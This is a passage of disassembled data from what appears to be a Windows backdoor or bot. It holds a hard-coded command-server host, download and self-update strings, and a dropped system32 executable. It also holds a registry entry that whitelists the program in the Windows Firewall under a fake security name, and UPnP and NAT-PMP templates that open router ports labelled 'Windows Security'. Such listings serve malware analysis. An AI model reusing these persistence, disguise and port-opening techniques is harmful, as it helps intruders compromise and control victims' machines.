; END OF FUNCTION CHUNK	FOR sub_40EB17
; ---------------------------------------------------------------------------
aSrvHandshaking	db 'SRV: handshaking failed.',0Ah,0 ; DATA XREF: sub_403C3F+172o
					; DMN1:0044521Co
aSrvRip?I	db 'SRV: rip? %i',0Ah,0 ; DATA XREF: sub_403C3F+141o
					; DMN1:004451EBo
aSrvHandshaki_0	db 'SRV: handshaking...',0Ah,0 ; DATA XREF: sub_403C3F:loc_403D68o
					; DMN1:loc_4451D3o
aSrvConnectingF	db 'SRV: connecting failed.',0Ah,0 ; DATA XREF: sub_403C3F+119o
					; DMN1:004451C3o
aSrvConnecting_	db 'SRV: connecting...',0Ah,0 ; DATA XREF: sub_403C3F+F7o
					; DMN1:004451A1o
aSrvSI		db 'SRV: [%s:%i]',0Ah,0 ; DATA XREF: sub_403C3F+CBo
					; DMN1:00445175o
aMyPortI	db 'my port [%i]',0Ah,0 ; DATA XREF: sub_403C3F+A8o
					; DMN1:00445152o
aDep_mvl0an7_co	db 'dep.mvl0an7.com',0  ; DATA XREF: sub_403C3F+2Bo
					; DMN1:004450D5o
aAuthorizedIpIS	db 'authorized IP #%i [%s]',0Ah,0 ; DATA XREF: sub_403B86+5Fo
					; sub_444FF1+5Fo
aRunningSS___	db 'running %s (%s)...',0Dh,0Ah,0 ; DATA XREF: sub_40399A+14Fo
					; DMN1:00444F54o
asc_40ECC7	db '" "',0              ; DATA XREF: sub_40399A+10Co
					; DMN1:00444F11o
aUpdate		db '*update "',0        ; DATA XREF: sub_40399A+E4o
					; DMN1:00444EE9o
aMsssx		db 'msssx',0            ; DATA XREF: sub_40399A+A2o
					; DMN1:00444EA7o
aDownloadedToS	db 'downloaded to: <%s>',0Ah,0 ; DATA XREF: sub_40399A+7Bo
					; DMN1:00444E80o
aMsss		db 'msss',0             ; DATA XREF: sub_40399A+4Bo
					; DMN1:00444E50o
aUpdateUrlS	db 'UPDATE URL: <%s>',0Ah,0 ; DATA XREF: sub_40399A+24o
					; DMN1:00444E29o
aDownloadedSS	db 'downloaded [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+14Bo
					; sub_444CA3+14Bo
aDownloadedFail	db 'downloaded failed: [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+12Bo
					; sub_444CA3+12Bo
aDownloadingSS	db 'downloading [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+AEo
					; sub_444CA3+AEo
aFopenS___	db 'fopen(%s)...',0Ah,0 ; DATA XREF: sub_403838+87o
					; sub_444CA3+87o
aWb_0		db 'wb',0               ; DATA XREF: sub_403838:loc_4038A7o
					; sub_444CA3:loc_444D12o
aInternetopenur	db 'InternetOpenUrl(): %i',0Ah,0 ; DATA XREF: sub_403838+51o
					; sub_444CA3+51o
aInternetopenI	db 'InternetOpen(): %i',0Ah,0 ; DATA XREF: sub_403838+22o
					; sub_444CA3+22o
aMsdownloader	db 'msdownloader',0     ; DATA XREF: sub_403838+14o
					; sub_444CA3+14o
asc_40EDA4	db ' ',0                ; DATA XREF: sub_403723+98o
					; DMN0:00404FDAo ...
aCWindowsSystem	db 'C:\WINDOWS\system32\nmsl.exe',0 ; DATA XREF: sub_403723:loc_40378Bo
					; DMN0:loc_404FAAo ...
asc_40EDC3	db '"',0                ; DATA XREF: sub_403723+33o
					; sub_403723+7Fo ...
a_win32__nmsl_s	db '_win32__nmsl_sm__',0 ; DATA XREF: DMN0:004036B2o
					; sub_4036F6+4o ...
a__win32__nmsl_	db '__win32__nmsl_sdm__',0 ; DATA XREF: sub_403604+10o
					; sub_403658+4o ...
aNatPmpReques_1	db 'NAT-PMP request #%i - port: [%i]',0Ah,0 ; DATA XREF: sub_403322+208o
					; sub_44478D+208o
aNatPmpFwdReque	db 'NAT-PMP fwd request #%i - ok',0Ah,0 ; DATA XREF: sub_403322+1BCo
					; sub_44478D+1BCo
aReceivingNat_0	db 'receiving NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+171o
					; sub_44478D+171o
aSetsockoptNa_0	db 'setsockopt NAT-PMP fwd request #%i...',0Ah,0
					; DATA XREF: sub_403322+13Ao
					; sub_44478D+13Ao
aSendingNatPmpF	db 'sending NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+C5o
					; sub_44478D+C5o
aRouterIpS	db 'router ip: [%s]',0Ah,0 ; DATA XREF: sub_403322+49o
					; sub_44478D+49o
aNatPmpReques_0	db 'NAT-PMP request #%i - public IP: [%s]',0Ah,0
					; DATA XREF: sub_403113+1D5o
					; sub_44457E+1D5o
aNatPmpRequestI	db 'NAT-PMP request #%i - ok',0Ah,0 ; DATA XREF: sub_403113+192o
					; sub_44457E+192o
aReceivingNatPm	db 'receiving NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+14Ao
					; sub_44457E+14Ao
aSetsockoptNatP	db 'setsockopt NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+113o
					; sub_44457E+113o
aSendingNatPmpR	db 'sending NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+D6o
					; sub_44457E+D6o
aDefaultGateway	db 'default gateway: [%s]',0Ah,0 ; DATA XREF: sub_403113+62o
					; sub_44457E+62o
aIupnpDiscove_4	db 'IUPnP discovery request #%i: ok.',0Ah,0 ; DATA XREF: sub_402B02+55Do
					; sub_443F6D+55Do
aControlurl	db '<controlURL>',0     ; DATA XREF: sub_402B02:loc_402EFCo
					; sub_443F6D:loc_444367o
aService	db '</service>',0       ; DATA XREF: sub_402B02:loc_402ECFo
					; sub_443F6D:loc_44433Ao
aService_0	db '<service>',0        ; DATA XREF: sub_402B02:loc_402E9Bo
					; sub_443F6D:loc_444306o
aUrnSchemasUpnp	db 'urn:schemas-upnp-org:service:WANIPConnection:1',0
					; DATA XREF: sub_402B02:loc_402E62o
					; sub_443F6D:loc_4442CDo
aIupnpDiscove_3	db 'IUPnP discovery request #%i: bad (3)...',0Ah,0
					; DATA XREF: sub_402B02+34Fo
					; sub_443F6D+34Fo
aLocationS	db 'location: <%s>',0Ah,0 ; DATA XREF: sub_402B02+316o
					; sub_443F6D+316o
aIupnpDiscove_2	db 'IUPnP discovery request #%i: bad (2)...',0Ah,0
					; DATA XREF: sub_402B02+2F5o
					; sub_443F6D+2F5o
aIupnpDiscove_1	db 'IUPnP discovery request #%i: bad (1)...',0Ah,0
					; DATA XREF: sub_402B02+27Do
					; sub_443F6D+27Do
aLocation	db 'location',0         ; DATA XREF: sub_402B02:loc_402D60o
					; sub_443F6D:loc_4441CBo
aIupnpDiscove_0	db 'IUPnP discovery request #%i: bad (0)...',0Ah,0
					; DATA XREF: sub_402B02+24Do
					; sub_443F6D+24Do
aSchemasUpnpOrg	db 'schemas-upnp-org:service:WANIPConnection:1',0
					; DATA XREF: sub_402B02+230o
					; sub_443F6D+230o
aIupnpDiscovery	db 'IUPnP discovery request #%i -- checking...',0Ah,0
					; DATA XREF: sub_402B02+224o
					; sub_443F6D+224o
aReceivingIupnp	db 'receiving IUPnP discovery request #%i...',0Ah,0
					; DATA XREF: sub_402B02+1ACo
					; sub_443F6D+1ACo
aSetsockoptIupn	db 'setsockopt IUPnP discovery request #%i...',0Ah,0
					; DATA XREF: sub_402B02+164o
					; sub_443F6D+164o
aMSearchHttp1_1	db 'M-SEARCH * HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402B02+11Fo
					; sub_402B02+136o ...
		db 'Host: 239.255.255.250:1900',0Dh,0Ah
		db 'ST: upnp:rootdevice',0Dh,0Ah
		db 'Man: "ssdp:discover"',0Dh,0Ah
		db 'MX: 3',0Dh,0Ah
		db 0Dh,0Ah,0
aSendingIupnpDi	db 'sending IUPnP discovery request #%i...',0Ah,0
					; DATA XREF: sub_402B02+113o
					; sub_443F6D+113o
aXbind___	db 'xbind...',0Ah,0     ; DATA XREF: sub_402B02+F3o
					; sub_443F6D+F3o
aShit		db 'shit!',0Ah,0        ; DATA XREF: sub_402B02+BFo
					; sub_443F6D+BFo
a239_255_255_25	db '239.255.255.250',0  ; DATA XREF: sub_402B02+45o
					; sub_402B02+92o ...
aHttpAddmapRe_1	db 'HTTP AddMap request [%s:%i]: code: %i...',0Ah,0
					; DATA XREF: sub_402896+235o
					; sub_443D01+235o
aHttpAddmapRe_0	db 'HTTP AddMap request [%s:%i]: received: %i...',0Ah,0
					; DATA XREF: sub_402896+196o
					; sub_443D01+196o
aHttpAddmapRequ	db 'HTTP AddMap request: [%s:%i]...',0Ah,0 ; DATA XREF: sub_402896+B0o
					; sub_443D01+B0o
aPostSHttp1_1Ho	db 'POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402896+7Fo
					; sub_443D01+7Fo
		db 'HOST: %s:%i',0Dh,0Ah
		db 'CONTENT-LENGTH: %i',0Dh,0Ah
		db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
		db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
		db 'rtMapping"',0Dh,0Ah
		db 0Dh,0Ah,0
aMPostSHttp1_1H	db 'M-POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402896+58o
					; sub_443D01+58o
		db 'HOST: %s:%i',0Dh,0Ah
		db 'CONTENT-LENGTH: %i',0Dh,0Ah
		db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
		db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
		db 'rtMapping"',0Dh,0Ah
		db 0Dh,0Ah,0
aSEnvelopeXmlns	db '<s:Envelope',0Dh,0Ah ; DATA XREF: sub_402896+1Ao
					; sub_443D01+1Ao
		db 'xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"',0Dh,0Ah
		db 's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">',0Dh,0Ah
		db '<s:Body>',0Dh,0Ah
		db '<u:AddPortMapping',0Dh,0Ah
		db 'xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">',0Dh,0Ah
		db '<NewRemoteHost></NewRemoteHost>',0Dh,0Ah
		db '<NewExternalPort>%i</NewExternalPort>',0Dh,0Ah
		db '<NewProtocol>TCP</NewProtocol>',0Dh,0Ah
		db '<NewInternalPort>%i</NewInternalPort>',0Dh,0Ah
		db '<NewEnabled>1</NewEnabled>',0Dh,0Ah
		db '<NewPortMappingDescription>Windows Security</NewPortMappingDescri'
		db 'ption>',0Dh,0Ah
		db '<NewLeaseDuration>0</NewLeaseDuration>',0Dh,0Ah
		db '</u:AddPortMapping>',0Dh,0Ah
		db '</s:Body>',0Dh,0Ah
		db '</s:Envelope>',0
a200		db '200',0              ; DATA XREF: sub_4025A9:loc_402838o
					; sub_443A14:loc_443CA3o
asc_40F5EE	db 0Ah,0		; DATA XREF: sub_4025A9:loc_402809o
					; sub_402896:loc_402A56o ...
aHttpDiscover_0	db 'HTTP discovery request [%s:%i]: received: %i...',0Ah,0
					; DATA XREF: sub_4025A9+234o
					; sub_443A14+234o
aGetSHttp1_1Hos	db 'GET %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_4025A9+173o
					; sub_443A14+173o
		db 'HOST: %s:%i',0Dh,0Ah
		db 'ACCEPT-LANGUAGE: en',0Dh,0Ah
		db 0Dh,0Ah,0
aHttpDiscoveryR	db 'HTTP discovery request: [%s:%i]...',0Ah,0 ; DATA XREF: sub_4025A9+10Ao
					; sub_443A14+10Ao
aHttp		db 'http://',0          ; DATA XREF: sub_4025A9+25o
					; sub_402B02+4A1o ...
a_		db '.',0                ; DATA XREF: sub_402562:loc_402584o
					; sub_4439CD:loc_4439EFo
a6ea9b038C8014f	db '{6EA9B038-C801-4F76-805F-E41ACF9ED165}',0 ; DATA XREF: sub_4023DC+7o
					; sub_402449+5o ...
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
					; DATA XREF: sub_402296+8Eo
					; DMN0:00402373o ...
		db 'lPolicy\StandardProfile\AuthorizedApplications\List',0
aWindowsNetwork	db 'Windows Network Management and Security Layer',0
					; DATA XREF: sub_402296+6Do
					; sub_4052BA+42o ...
aEnabled	db ':*:Enabled:',0      ; DATA XREF: sub_402296+5Ao
					; sub_405B8F+28o ...
aHandshakeBadVe	db 'Handshake: bad version (%i)',0Ah,0 ; DATA XREF: DMN0:00401E88o
					; DMN1:004432F3o
aHandshakeBadPa	db 'Handshake: bad packed (%i)',0Ah,0 ; DATA XREF: DMN0:00401E68o
					; sub_4085D0+91r ...
aHandshakeRecvE	db 'Handshake: recv() error',0Ah,0 ; DATA XREF: DMN0:00401E53o
					; DMN1:004432BEo
aProtorecvDataS	db 'protorecv(): data size: %i (of %i)',0Ah,0 ; DATA XREF: sub_401BAC+12Do
					; sub_443017+12Do ...
aPktrecvPacketi	db 'PktRecv(): packetId: 0x%03x',0Ah,0 ; DATA XREF: sub_401BAC+DEo
					; sub_443017+DEo
aPktrecvInvalid	db 'PktRecv(): invalid signature (%i)',0Ah,0 ; DATA XREF: sub_401BAC+86o
					; sub_443017+86o
aPktsendIIBytes	db 'PktSend(%i): %i bytes',0Ah,0 ; DATA XREF: sub_401ADA+68o
					; sub_442F45+68o
aSIsS		db '%s is %s',0Ah,0     ; DATA XREF: DMN0:004018A6o
					; DMN1:00442D11o
aWinsock2_xInit	db 'WinSock 2.x initialized.',0Ah,0 ; DATA XREF: sub_4012EC:loc_40133Co
					; sub_442757:loc_4427A7o ...
aWinsock1_1Init	db 'WinSock 1.1 initialized.',0Ah,0 ; DATA XREF: sub_4012EC:loc_40132Fo
					; sub_442757:loc_44279Ao
aA		db 'a',0                ; DATA XREF: DMN0:004011E9o
					; DMN1:00442654o
aPm		db 'PM',0               ; DATA XREF: DMN0:loc_401190o
					; DMN1:loc_4425FBo
aAm		db 'AM',0               ; DATA XREF: DMN0:00401189o
					; DMN1:004425F4o
a02i02i02iIIIS	db '%02i/%02i/%02i %i:%i:%i%s',0 ; DATA XREF: DMN0:004011C4o
					; DMN1:0044262Fo ...
aS_0		db '%s',0               ; DATA XREF: DMN0:0040112Bo
					; DMN0:00401147o ...
		align 4
dword_40F88C	dd 0FFFFFFFFh, 0	; DATA XREF: sub_407480+5o
					; sub_4488EB+5o
		dd offset sub_4074EA
dword_40F898	dd 0FFFFFFFFh, 0	; DATA XREF: sub_407690+5o
					; sub_448AFB+5o
		dd offset sub_4076EB
dword_40F8A4	dd 0FFFFFFFFh, 0	; DATA XREF: sub_407790+5o
					; sub_448BFB+5o
		dd offset sub_4077EE
dword_40F8B0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4078F0+5o
					; sub_448D5B+5o
		dd offset sub_40793D
dword_40F8BC	dd 0FFFFFFFFh, 407C58h,	407C73h	; DATA XREF: sub_407C00+5o
					; DMN1:00449070o
dword_40F8C8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_407D70+5o
					; sub_4491DB+5o
		dd offset sub_407DED
dword_40F8D4	dd 0FFFFFFFFh, 407F15h,	407F30h, 4000h ; DATA XREF: sub_407E30+5o
					; DMN1:004492A0o
dword_40F8E4	dd 0FFFFFFFFh, 0	; DATA XREF: sub_408530+5o
					; sub_44999B+5o
		dd offset sub_40858E
		dd offset loc_4086BC
		dd offset loc_408672
		dd offset loc_4086A2
		dd offset loc_4086A2
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
off_40F914	dd offset loc_4086AF	; DATA XREF: sub_4085D0+2Er
					; sub_449A3B+2Er
		dd offset loc_408672
		dd offset loc_408682
		dd offset loc_408682
		dd offset loc_4086F0
		dd offset loc_4086A2
		dd offset loc_4086C9
		dd offset loc_408692
		dd offset loc_408692
		dd offset loc_408692
		dd offset loc_408672
		dd offset loc_4086E3
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408682
		dd offset loc_4086A2
		dd offset loc_408717
		dd offset loc_408682
		dd offset loc_4086A2
		dd offset loc_4086A2
		dd offset loc_4086A2
		dd offset loc_4086A2
		dd offset loc_4086A2
		dd offset loc_4086A2
		dd offset loc_4086A2
		dd offset loc_4086A2
		dd offset loc_4086A2
		dd offset loc_4086A2
		dd offset loc_4086A2
		dd offset loc_4086A2
		dd offset loc_4086A2
		dd offset loc_4086A2
		dd offset loc_4086A2
		dd offset loc_4086A2
		dd offset loc_408672
		dd offset loc_4086A2
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408682
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_4086A2
		dd offset loc_408672
		dd offset loc_408682
		dd offset loc_4086A2
		dd offset loc_40870A
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_4086FD
		dd offset loc_408672
		dd offset loc_4086C9
		dd offset loc_4086D6
		dd offset loc_4086D6
		dd offset loc_4086C9
		dd offset loc_408672
		dd offset loc_4086A2
		dd offset loc_4086BC
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_4086E3
		dd offset loc_4086E3
		dd offset loc_4086E3
		dd offset loc_4086E3
		dd offset loc_4086E3
		dd offset loc_4086E3
		dd offset loc_4086E3
		dd offset loc_4086E3
		dd offset loc_4086E3
		dd offset loc_4086E3
		dd offset loc_4086E3
		dd offset loc_4086E3
		dd offset loc_4086E3
		dd offset loc_4086E3
		dd offset loc_4086E3
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408682
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_408672
		dd offset loc_4086AF
dword_40FAD8	dd 232D2B20h, 30h	; DATA XREF: sub_408B70+E4o
					; sub_408B70+FDo ...
dword_40FAE0	dd 1, 2, 4, 8, 10h, 0	; DATA XREF: sub_408B70+EDr
					; sub_449FDB+EDr
aHjltzl		db 'hjltzL',0           ; DATA XREF: sub_408B70+1CDo
					; sub_449FDB+1CDo
		align 10h
aConin		db 'CONIN$',0           ; DATA XREF: DMN0:00408E3Eo
					; DMN1:0044A2A9o
aConout		db 'CONOUT$',0          ; DATA XREF: sub_408DF0+1Eo
					; sub_44A25B+1Eo
		align 10h
dword_40FB10	dd 0			; DATA XREF: sub_408EB0+24o
					; sub_44A31B+24o
		dd 0FFFFFFFFh, 11h dup(0)
dword_40FB5C	dd 0			; DATA XREF: DMN0:off_411898o
dword_40FB60	dd 0			; DATA XREF: sub_409CE0+36r
					; sub_409CE0+18Br ...
dword_40FB64	dd 0			; DATA XREF: sub_409CE0+3Cr
					; sub_409CE0+191r ...
		db 2 dup(0)
word_40FB6A	dw 200h			; DATA XREF: DMN0:off_41189Co
		dd 4 dup(100010h), 300130h, 300030h, 100030h, 8	dup(100010h)
		dd 400010h, 7 dup(800080h), 30080h, 4 dup(30003h), 800003h
		dd 3 dup(800080h), 3 dup(0A000Ah), 3 dup(80008h)
dword_40FC04	dd 80008h		; DATA XREF: sub_409FC0+55r
					; sub_44B42B+55r
aAaaaaa:
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		dw 8
		unicode	0, <€€€€€€>
		dd 3 dup(60006h), 0Ah dup(40004h), 2 dup(800080h)
dword_40FC68	dd 10h,	40h dup(0)	; DATA XREF: sub_409FC0+18r
					; sub_44B42B+18r
		dd offset loc_40A397
		dd offset loc_40A6C7
		dd offset loc_40A6C7
		dd offset loc_40A6C7
		dd offset loc_40A397
		dd offset loc_40A397
		dd offset loc_40A397
		dd offset loc_40A397
		dd offset loc_40A6C7
		dd offset loc_40A01C
		dd offset loc_40A08B
		dd offset loc_40A397
		dd offset loc_40A397
		dd offset loc_40A397
		dd offset loc_40A6C7
		dd offset loc_40A08B
		dd offset loc_40A6C7
		dd offset loc_40A6C7
		dd offset loc_40A6C7
		dd offset loc_40A6C7
		dd offset loc_40A459
		dd offset loc_40A223
		dd offset loc_40A591
		dd offset loc_40A6C7
		dd offset loc_40A6C7
		dd offset loc_40A5EF
		dd offset loc_40A6C7
		dd offset loc_40A223
		dd offset loc_40A6C7
		dd offset loc_40A6C7
		dd offset loc_40A223
dword_40FDE8	dd 6C756E28h, 296Ch	; DATA XREF: sub_409FC0+661o
					; sub_44B42B+661o
asc_40FDF0	db '                                ',0 ; DATA XREF: sub_40A700+54o
					; sub_40A700+23Do ...
a00000000000000	db '00000000000000000000000000000000',0 ; DATA XREF: sub_40A700+D8o
					; sub_40A700+15Co ...
		align 4
dword_40FE34	dd 0			; DATA XREF: sub_40A970+Dr
					; sub_44BDDB+Dr
		dd 0
		dd 1, 2
		db 2 dup(0)
word_40FE46	dw 0E000h		; DATA XREF: DMN0:004118A8o
					; DMN0:004118E8o ...
		dd 0E002E001h, 0E004E003h, 0E006E005h, 0E008E007h, 0E00AE009h
		dd 0E00CE00Bh, 0E00EE00Dh, 0E010E00Fh, 0E012E011h, 0E014E013h
		dd 0E016E015h, 0E018E017h, 0E01AE019h, 0E01CE01Bh, 0E01EE01Dh
		dd 0E020E01Fh, 0E022E021h, 0E024E023h, 0E026E025h, 0E028E027h
		dd 0E02AE029h, 0E02CE02Bh, 0E02EE02Dh, 0E030E02Fh, 0E032E031h
		dd 0E034E033h, 0E036E035h, 0E038E037h, 0E03AE039h, 0E03CE03Bh
		dd 0E03EE03Dh, 0E040E03Fh, 0E042E041h, 0E044E043h, 0E046E045h
		dd 0E048E047h, 0E04AE049h, 0E04CE04Bh, 0E04EE04Dh, 0E050E04Fh
		dd 0E052E051h, 0E054E053h, 0E056E055h, 0E058E057h, 0E05AE059h
		dd 0E05CE05Bh, 0E05EE05Dh, 0E060E05Fh, 0E062E061h, 0E064E063h
		dd 0E066E065h, 0E068E067h, 0E06AE069h, 0E06CE06Bh, 0E06EE06Dh
		dd 0E070E06Fh, 0E072E071h, 0E074E073h, 0E076E075h, 0E078E077h
		dd 0E07AE079h, 0E07CE07Bh, 0E07EE07Dh, 0E080E07Fh, 0E082E081h
		dd 0E084E083h, 0E086E085h, 0E088E087h, 0E08AE089h, 0E08CE08Bh
		dd 0E08EE08Dh, 0E090E08Fh, 0E092E091h, 0E094E093h, 0E096E095h
		dd 0E098E097h, 0E09AE099h, 0E09CE09Bh, 0E09EE09Dh, 0E0A0E09Fh
		dd 0E0A2E0A1h, 0E0A4E0A3h, 0E0A6E0A5h, 0E0A8E0A7h, 0E0AAE0A9h
		dd 0E0ACE0ABh, 0E0AEE0ADh, 0E0B0E0AFh, 0E0B2E0B1h, 0E0B4E0B3h
		dd 0E0B6E0B5h, 0E0B8E0B7h, 0E0BAE0B9h, 0E0BCE0BBh, 0E0BEE0BDh
		dd 0E0C0E0BFh, 0E0C2E0C1h, 0E0C4E0C3h, 0E0C6E0C5h, 0E0C8E0C7h
		dd 0E0CAE0C9h, 0E0CCE0CBh, 0E0CEE0CDh, 0E0D0E0CFh, 0E0D2E0D1h
		dd 0E0D4E0D3h, 0E0D6E0D5h, 0E0D8E0D7h, 0E0DAE0D9h, 0E0DCE0DBh
		dd 0E0DEE0DDh, 0E0E0E0DFh, 0E0E2E0E1h, 0E0E4E0E3h, 0E0E6E0E5h
		dd 0E0E8E0E7h, 0E0EAE0E9h, 0E0ECE0EBh, 0E0EEE0EDh, 0E0F0E0EFh
		dd 0E0F2E0F1h, 0E0F4E0F3h, 0E0F6E0F5h, 0E0F8E0F7h, 0E0FAE0F9h
		dd 0E0FCE0FBh, 0E0FEE0FDh, 0E0FFh
aNull:					; DATA XREF: sub_40B240+81o
					; sub_44C6AB+81o
		unicode	0, <(null)>,0
		align 4
a0123456789ab_0	db '0123456789abcdef',0 ; DATA XREF: sub_40B390:loc_40B3A8o
					; sub_44C7FB:loc_44C813o
a0123456789abcd	db '0123456789ABCDEF',0 ; DATA XREF: sub_40B390+Fo
					; sub_44C7FB+Fo
		align 4
dbl_41007C	dq 1.0e1		; DATA XREF: sub_40B5E0+3E4r
					; sub_40B5E0+42Dr ...
		dd 0
		dd 40590000h, 0
		dd 40C38800h, 0
		dd 4197D784h, 37E08000h, 4341C379h, 0B5056E17h,	4693B8B5h
		dd 0E93FF9F5h, 4D384F03h, 0F9301D32h, 5A827748h, 7F73BF3Ch
		dd 75154FDDh
dbl_4100C4	dq 1.0e8		; DATA XREF: sub_40B5E0+4B5r
					; sub_44CA4B+4B5r
dbl_4100CC	dq 1.0			; DATA XREF: sub_40B5E0+403r
					; sub_44CA4B+403r
dbl_4100D4	dq 0.0			; DATA XREF: sub_40B5E0+1BCr
					; sub_40B5E0+28Ar ...
a0123456789ab_2	db '0123456789ABCDEF',0 ; DATA XREF: sub_40B5E0:loc_40B764o
					; sub_44CA4B:loc_44CBCFo
a0123456789ab_1	db '0123456789abcdef',0 ; DATA XREF: sub_40B5E0+17Bo
					; sub_44CA4B+17Bo
off_4100FE	dd offset byte_464E49	; DATA XREF: sub_40B5E0:loc_40B6CCo
					; sub_44CA4B:loc_44CB37o
word_410102	dw 6E69h		; DATA XREF: sub_40B5E0:loc_40B6C3o
					; sub_44CA4B:loc_44CB2Eo
		db 66h,	0
word_410106	dw 414Eh		; DATA XREF: sub_40B5E0:loc_40B67Ao
					; sub_44CA4B:loc_44CAE5o
byte_410108	db 4Eh,	0		; DATA XREF: sub_40C050+5Br
					; sub_44D4BB+5Br
word_41010A	dw 616Eh		; DATA XREF: sub_40B5E0:loc_40B671o
		dd 6Eh,	40C0D8h, 40C0F3h, 40C0CFh, 40C0F3h, 40C0BAh, 40C0F3h
		dd 40C0C6h, 2 dup(40C0F3h), 40C0E1h
aTerminating	db ' -- terminating',0Ah,0 ; DATA XREF: sub_40C050+10Do
					; sub_44D4BB+10Do
aSignal		db 'signal #',0         ; DATA XREF: sub_40C050+EAo
					; sub_44D4BB+EAo
aTerminationReq	db 'termination request',0 ; DATA XREF: sub_40C050:loc_40C0EAo
					; sub_44D4BB:loc_44D555o
aInvalidStorage	db 'invalid storage access',0 ; DATA XREF: sub_40C050+91o
					; sub_44D4BB+91o
aInterruption	db 'interruption',0     ; DATA XREF: sub_40C050+88o
					; sub_44D4BB+88o
aInvalidExecuta	db 'invalid executable code',0 ; DATA XREF: sub_40C050+7Fo
					; sub_44D4BB+7Fo
aArithmeticErro	db 'arithmetic error',0 ; DATA XREF: sub_40C050+76o
					; sub_44D4BB+76o
aAbort		db 'abort',0            ; DATA XREF: sub_40C050+6Ao
					; sub_44D4BB+6Ao
		align 4
dword_4101BC	dd 0			; DATA XREF: sub_40C270+23r
					; sub_40C270+10Fr ...
dword_4101C0	dd 0			; DATA XREF: sub_40C270+29r
					; sub_40C270:loc_40C385r ...
		align 8
dword_4101C8	dd 30h			; DATA XREF: sub_40C740+1Eo
					; sub_44DBAB+1Eo
byte_4101CC	db 0			; DATA XREF: DMN0:004119A8o
					; DMN0:004119ACo ...
byte_4101CD	db 2Eh,	2 dup(0)	; DATA XREF: DMN0:off_4119D4o
		dd 0
dword_4101D4	dd 38Bh	dup(0)		; DATA XREF: sub_407E30+73o
					; sub_407E30:loc_407EAFo ...
dword_411000	dd 1			; DATA XREF: sub_40122A:loc_401237w
					; sub_40122A+13r ...
dword_411004	dd 0			; DATA XREF: sub_403C3F+66r
					; sub_403C3F+86w ...
dword_411008	dd 0			; DATA XREF: sub_40238A+7r
					; sub_40238A+43w ...
dword_41100C	dd 0			; DATA XREF: sub_40356A+2Ar
					; sub_40356A:loc_4035CDr ...
dword_411010	dd 0			; DATA XREF: sub_40356A+1Er
					; sub_40356A+46r ...
dword_411014	dd 0			; DATA XREF: sub_40399A+189o
					; sub_403C3F+317o ...
dword_411018	dd 0			; DATA XREF: sub_403604+1r
					; sub_403604+1Fw ...
dword_41101C	dd 0			; DATA XREF: DMN0:004036A3r
					; DMN0:004036C1w ...
		dd 0
dword_411024	dd 0			; DATA XREF: sub_40356A+58o
					; sub_40356A+86o ...
dword_411028	dd 0			; DATA XREF: sub_40410E+1r
					; sub_40410E+1Fw ...
dword_41102C	dd 0			; DATA XREF: sub_40440D+Dw
					; sub_40440D+19r ...
dword_411030	dd 0			; DATA XREF: sub_404CDF+187o
					; sub_404CDF+244o ...
dword_411034	dd 0			; DATA XREF: sub_40400E+32r
					; sub_40400E+9Br ...
byte_411038	db 5Ah			; DATA XREF: sub_404573+19r
					; sub_4459DE+19r
		db 3 dup(5Bh)
		dd 5B5B5B5Bh, 5B5Bh
dword_411044	dd 0			; DATA XREF: DMN0:00405EAFw
					; DMN1:0044731Aw
dword_411048	dd 2 dup(0)		; DATA XREF: DMN0:00405D9Bo
					; DMN1:00447206o
dword_411050	dd 0			; DATA XREF: sub_406086+Bw
					; sub_406086+25r ...
dword_411054	dd 0			; DATA XREF: sub_40628E+Dr
					; sub_40628E+B9w ...
dword_411058	dd 0			; DATA XREF: sub_406183+Cr
					; sub_406183+15r ...
dword_41105C	dd 0			; DATA XREF: sub_40670D+Fo
					; sub_447B78+Fo
dword_411060	dd 0			; DATA XREF: sub_407790+35r
					; sub_407790+3Ew ...
dword_411064	dd 0			; DATA XREF: sub_407D70+45r
					; sub_407D70+62r ...
		dd 4Fh dup(0)
